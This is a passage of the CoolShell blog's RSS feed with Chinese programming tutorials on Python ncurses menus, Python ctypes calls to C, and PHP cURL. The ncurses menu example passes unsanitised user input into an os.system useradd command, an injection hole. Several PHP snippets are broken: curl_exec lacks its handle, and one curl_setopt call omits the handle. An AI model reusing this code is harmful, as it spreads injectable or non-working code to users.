width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/688.html\">你能做对下面这些JavaScript的题吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/688.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>12</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>用Python写NCurses UI</title>\n\t\t<link>https://coolshell.cn/articles/677.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/677.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 26 Apr 2009 02:19:41 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Ncurses]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=677</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Ncurses是一个能提供基于文本终端窗口功能的动态库. Ncurses可以: 可以使用整个屏幕 创建和管理一个窗口 使用8种不同的彩色 为您的程序提供鼠标支持...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/677.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/677.html\">用Python写NCurses UI</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/python_ncurses.jpg\"></a>Ncurses是一个能提供基于文本终端窗口功能的动态库. Ncurses可以:</p>\n<ul>\n<li>可以使用整个屏幕</li>\n<li>创建和管理一个窗口</li>\n<li>使用8种不同的彩色</li>\n<li>为您的程序提供鼠标支持</li>\n<li>使用键盘上的功能键</li>\n</ul>\n<p>Ncurses可以在任何遵循ANSI/POSIX标准的Unix/Linux系统上运行，除此之外，它还可以从系统数据库中检测终端的属性,，并且自动进行调整,提供一个不受终端约束的接口。因此,Ncurses可以在不同的系统平台和不同的终端上工作的非常好。</p>\n<p><span id=\"more-677\"></span></p>\n<p>mc工具集就是一个用ncurses写的很好的例子,而且在终端上系统核心配置的界面同样是用ncurses编写的. 下面就是它们的截图：</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/ncurses_example.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-678\" title=\"ncurses_example\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/ncurses_example.jpg\" alt=\"ncurses_example\" width=\"526\" height=\"423\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/ncurses_example.jpg 526w, https://coolshell.cn/wp-content/uploads/2009/04/ncurses_example-300x241.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/04/ncurses_example-336x270.jpg 336w\" sizes=\"(max-width: 526px) 100vw, 526px\" /></a></p>\n<p>当然，在我们这篇文章中，我们不会教你怎么写NCurses程序，我们只是想告诉你如何用Python来写Ncurses的程序，示例会非常简单，点到为止。</p>\n<p>在此之前，我们先简单的回顾一下如何使用Python的一些简单的语法。</p>\n<p>先看看一个最简单的Python程序：</p>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">\nprint &quot;How easy is this?&quot; \n\nx = 1\ny = 2\nz = x + y\n\nprint &quot;Result of x + y is&quot;, z\n</pre>\n<p>程序很简单，我就不多说，把这个文件存成test.py，然后在命令行下调用python test.py就可以看到输出了。</p>\n<p>下面我们再来看一个Python的函数定义——还是很简单，我也不用多说了。</p>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">\ndef saystuff(mystring):\n     print &quot;You said:&quot;, mystring \n\nsaystuff(&quot;Bach rules&quot;)\nsaystuff(&quot;So does Telemann&quot;)\n</pre>\n<p>好，言归正传，让我们来看一下，如何在Python中使用NCurses，下面是一个小例程：</p>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">\nimport curses \n\nmyscreen = curses.initscr()\n\nmyscreen.border(0)\nmyscreen.addstr(12, 25, &quot;Python curses in action!&quot;)\nmyscreen.refresh()\nmyscreen.getch()\n\ncurses.endwin()\n</pre>\n<p>注意这个示例中的第一行import curses，表明使用curses库，然后这个示像在屏幕中间输出“Python curses in action!”字样，其中坐标为12, 25，注意，在字符界面下，80 x 25是屏幕大小，其用的是字符，而不是像素。下面是运行后的抓屏：</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/python_ncursespy.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-679\" title=\"python_ncursespy\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/python_ncursespy.jpg\" alt=\"python_ncursespy\" width=\"674\" height=\"413\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/python_ncursespy.jpg 674w, https://coolshell.cn/wp-content/uploads/2009/04/python_ncursespy-300x183.jpg 300w\" sizes=\"(max-width: 674px) 100vw, 674px\" /></a></p>\n<p> 最后，我们再来看一个数字菜单的示例：</p>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">\n#!/usr/bin/env python\n\nfrom os import system\nimport curses\n\ndef get_param(prompt_string):\n     screen.clear()\n     screen.border(0)\n     screen.addstr(2, 2, prompt_string)\n     screen.refresh()\n     input = screen.getstr(10, 10, 60)\n     return input\n\ndef execute_cmd(cmd_string):\n     system(&quot;clear&quot;)\n     a = system(cmd_string)\n     print &quot;&quot;\n     if a == 0:\n          print &quot;Command executed correctly&quot;\n     else:\n          print &quot;Command terminated with error&quot;\n     raw_input(&quot;Press enter&quot;)\n     print &quot;&quot;\n\nx = 0\n\nwhile x != ord(&#039;4&#039;):\n     screen = curses.initscr()\n\n     screen.clear()\n     screen.border(0)\n     screen.addstr(2, 2, &quot;Please enter a number...&quot;)\n     screen.addstr(4, 4, &quot;1 - Add a user&quot;)\n     screen.addstr(5, 4, &quot;2 - Restart Apache&quot;)\n     screen.addstr(6, 4, &quot;3 - Show disk space&quot;)\n     screen.addstr(7, 4, &quot;4 - Exit&quot;)\n     screen.refresh()\n\n     x = screen.getch()\n\n     if x == ord(&#039;1&#039;):\n          username = get_param(&quot;Enter the username&quot;)\n          homedir = get_param(&quot;Enter the home directory, eg /home/nate&quot;)\n          groups = get_param(&quot;Enter comma-separated groups, eg adm,dialout,cdrom&quot;)\n          shell = get_param(&quot;Enter the shell, eg /bin/bash:&quot;)\n          curses.endwin()\n          execute_cmd(&quot;useradd -d &quot; + homedir + &quot; -g 1000 -G &quot; + groups + &quot; -m -s &quot; + shell + &quot; &quot; + username)\n     if x == ord(&#039;2&#039;):\n          curses.endwin()\n          execute_cmd(&quot;apachectl restart&quot;)\n     if x == ord(&#039;3&#039;):\n          curses.endwin()\n          execute_cmd(&quot;df -h&quot;)\n\ncurses.endwin()\n</pre>\n<p>下面是运行时的显示：</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/python_ncurses.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-680\" title=\"python_ncurses\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/python_ncurses.jpg\" alt=\"python_ncurses\" width=\"394\" height=\"221\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/python_ncurses.jpg 394w, https://coolshell.cn/wp-content/uploads/2009/04/python_ncurses-300x168.jpg 300w\" sizes=\"(max-width: 394px) 100vw, 394px\" /></a></p>\n<p>如果你你了解NCurses编程，你可以看看相关的Linux HOW-TO的文章，链接在这里：<a href=\"http://www.linux.org/docs/ldp/howto/NCURSES-Programming-HOWTO/index.html\" target=\"_blank\">Linux Documentation Project&#8217;s NCURSES Programming How To</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Quora使用到的技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_title\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/677.html\">用Python写NCurses UI</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/677.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>7</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Python调用C语言函数</title>\n\t\t<link>https://coolshell.cn/articles/671.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/671.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 25 Apr 2009 17:29:57 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[ctypes]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=671</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>使用Python的ctypes，我们可以直接调用由C直接编译出来的函数。其实就是调用动态链接库中的函数。为什么我们需要这样做呢，因为有些时候，我们可能需要一个性...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/671.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/671.html\">Python调用C语言函数</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>使用Python的<a href=\"http://docs.python.org/library/ctypes.html\">ctypes</a>，我们可以直接调用由C直接编译出来的函数。其实就是调用动态链接库中的函数。为什么我们需要这样做呢，因为有些时候，我们可能需要一个性能上比较讲究的算法，有些时候，我们可以在Python中使用已经有了的现成的被封闭在动态链接库中的函数。下面是如何调用的示例。</p>\n<p>首先，我们用一个乘法来表示一个算法功能。下面是C的程序：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int\nmultiply(int num1, int num2)\n{\n    return num1 * num2;\n}\n</pre>\n<p><span id=\"more-671\"></span></p>\n<p>如果在Windows下，你可能需要写成下面这个样子：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;windows.h&gt;\n\n\nBOOL APIENTRY\nDllMain(HANDLE hModule, DWORD dwReason, LPVOID lpReserved)\n{\n    return TRUE;\n}\n\n__declspec(dllexport) int\nmultiply(int num1, int num2)\n{\n    return num1 * num2;\n}\n</pre>\n<p>然后，自然是把这个C文件编成动态链接库：</p>\n<p>Linux下的编译：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\ngcc -c -fPIC libtest.c\ngcc -shared libtest.o -o libtest.so\n</pre>\n<p>Windows下的编译：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\ncl -LD libtest.c -libtest.dll\n</pre>\n<p>于是在我们的Python中可以这样使用：<br />\n(其中的libtest.so在Windows下改成libtest.dll即可)</p>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">\n&gt;&gt;&gt; from ctypes import *\n&gt;&gt;&gt; import os\n&gt;&gt;&gt; libtest = cdll.LoadLibrary(os.getcwd() + &#039;/libtest.so&#039;)\n&gt;&gt;&gt; print libtest.multiply(2, 2)\n4\n</pre>\n<p>注意：上面的Python脚本中需要把动态链接库放到当前目录中。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Quora使用到的技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_title\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/671.html\">Python调用C语言函数</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/671.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>20</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>使用PHP的cURL库</title>\n\t\t<link>https://coolshell.cn/articles/664.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/664.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 25 Apr 2009 09:12:32 +0000</pubDate>\n\t\t\t\t<category><![CDATA[PHP脚本]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[cURL]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=664</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>使用PHP的cURL库可以简单和有效地去抓网页。你只需要运行一个脚本，然后分析一下你所抓取的网页，然后就可以以程序的方式得到你想要的数据了。无论是你想从从一个链...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/664.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/664.html\">使用PHP的cURL库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/phpinfo_curl.png\"></a>使用PHP的cURL库可以简单和有效地去抓网页。你只需要运行一个脚本，然后分析一下你所抓取的网页，然后就可以以程序的方式得到你想要的数据了。无论是你想从从一个链接上取部分数据，或是取一个XML文件并把其导入数据库，那怕就是简单的获取网页内容，cURL 是一个功能强大的PHP库。本文主要讲述如果使用这个PHP库。</p>\n<p><strong> 启用 cURL 设置</strong><br />\n首先，我们得先要确定我们的PHP是否开启了这个库，你可以通过使用php_info()函数来得到这一信息。</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">&lt;?php\n    phpinfo();\n?&gt;</pre>\n<p><span id=\"more-664\"></span></p>\n<p> </p>\n<p>如果你可以在网页上看到下面的输出，那么表示cURL库已被开启。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/phpinfo_curl.png\"><img decoding=\"async\" loading=\"lazy\" title=\"phpinfo_curl\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/phpinfo_curl.png\" alt=\"phpinfo_curl\" width=\"498\" height=\"91\" /></a></p>\n<p>如果你看到的话，那么你需要设置你的PHP并开启这个库。如果你是在Windows平台下，那么非常简单，你需要改一改你的php.ini文件的设置，找到php_curl.dll，并取消前面的分号注释就行了。如下所示：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n\n//取消下在的注释\nextension=php_curl.dll \n</pre>\n<p>如果你是在Linux下面，那么，你需要重新编译你的PHP了，编辑时，你需要打开编译参数——在configure命令上加上“&#8211;with-curl” 参数。</p>\n<p><strong>一个小示例</strong><br />\n如果一切就绪，下面是一个小例程：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n&lt;?php\n// 初始化一个 cURL 对象\n$curl = curl_init(); \n\n// 设置你需要抓取的URL\ncurl_setopt($curl, CURLOPT_URL, &#039;https://coolshell.cn&#039;);\n\n// 设置header\ncurl_setopt($curl, CURLOPT_HEADER, 1);\n\n// 设置cURL 参数，要求结果保存到字符串中还是输出到屏幕上。\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\n\n// 运行cURL，请求网页\n$data = curl_exec($curl);\n\n// 关闭URL请求\ncurl_close($curl);\n\n// 显示获得的数据\nvar_dump($data);\n</pre>\n<p> </p>\n<p><strong>如何POST数据</strong></p>\n<p>上面是抓取网页的代码，下面则是向某个网页POST数据。假设我们有一个处理表单的网址<a href=\"http://www.example.com/sendSMS.php\">http://www.example.com/sendSMS.php</a>，其可以接受两个表单域，一个是电话号码，一个是短信内容。</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"9,10\">\n&lt;?php\n    $phoneNumber = &#039;13912345678&#039;;\n    $message = &#039;This message was generated by curl and php&#039;;\n    $curlPost = &#039;pNUMBER=&#039;  . urlencode($phoneNumber) . &#039;&amp;MESSAGE=&#039; . urlencode($message) . &#039;&amp;SUBMIT=Send&#039;;\n    $ch = curl_init();\n    curl_setopt($ch, CURLOPT_URL, &#039;http://www.example.com/sendSMS.php&#039;);\n    curl_setopt($ch, CURLOPT_HEADER, 1);\n    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n    curl_setopt($ch, CURLOPT_POST, 1);\n    curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost);\n    $data = curl_exec();\n    curl_close($ch);\n?&gt;\n</pre>\n<p> 从上面的程序我们可以看到，使用CURLOPT_POST设置HTTP协议的POST方法，而不是GET方法，然后以CURLOPT_POSTFIELDS设置POST的数据。</p>\n<p><strong>关于代理服务器</strong></p>\n<pre>下面是一个如何使用代理服务器的示例。请注意其中高亮的代码，代码很简单，我就不用多说了。</pre>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"6,7,8\">\n&lt;?php \n    $ch = curl_init();\n    curl_setopt($ch, CURLOPT_URL, &#039;http://www.example.com&#039;);\n    curl_setopt($ch, CURLOPT_HEADER, 1);\n    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n    curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 1);\n    curl_setopt($ch, CURLOPT_PROXY, &#039;fakeproxy.com:1080&#039;);\n    curl_setopt($ch, CURLOPT_PROXYUSERPWD, &#039;user:password&#039;);\n    $data = curl_exec();\n    curl_close($ch);\n?&gt;\n\n</pre>\n<p> <strong>关于SSL和Cookie</strong></p>\n<p>关于SSL也就是HTTPS协议，你只需要把CURLOPT_URL连接中的http://变成https://就可以了。当然，还有一个参数叫CURLOPT_SSL_VERIFYHOST可以设置为验证站点。</p>\n<p>关于Cookie，你需要了解下面三个参数：</p>\n<ul>\n<li>CURLOPT_COOKIE，在当面的会话中设置一个cookie</li>\n<li>CURLOPT_COOKIEJAR，当会话结束的时候保存一个Cookie</li>\n<li>CURLOPT_COOKIEFILE，Cookie的文件。</li>\n</ul>\n<p><strong>HTTP服务器认证</strong></p>\n<p>最后，我们来看一看HTTP服务器认证的情况。</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"5,6\">\n&lt;?php \n    $ch = curl_init();\n    curl_setopt($ch, CURLOPT_URL, &#039;http://www.example.com&#039;);\n    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n    curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\n    curl_setopt(CURLOPT_USERPWD, &#039;[username]:[password]&#039;)\n\n    $data = curl_exec();\n    curl_close($ch);\n?&gt;\n</pre>\n<p>关于其它更多的内容，请大家参看相关的cURL手册吧。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/5160.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg\" alt=\"PHP分页技术的代码和示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5160.html\" class=\"wp_rp_title\">PHP分页技术的代码和示例</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" 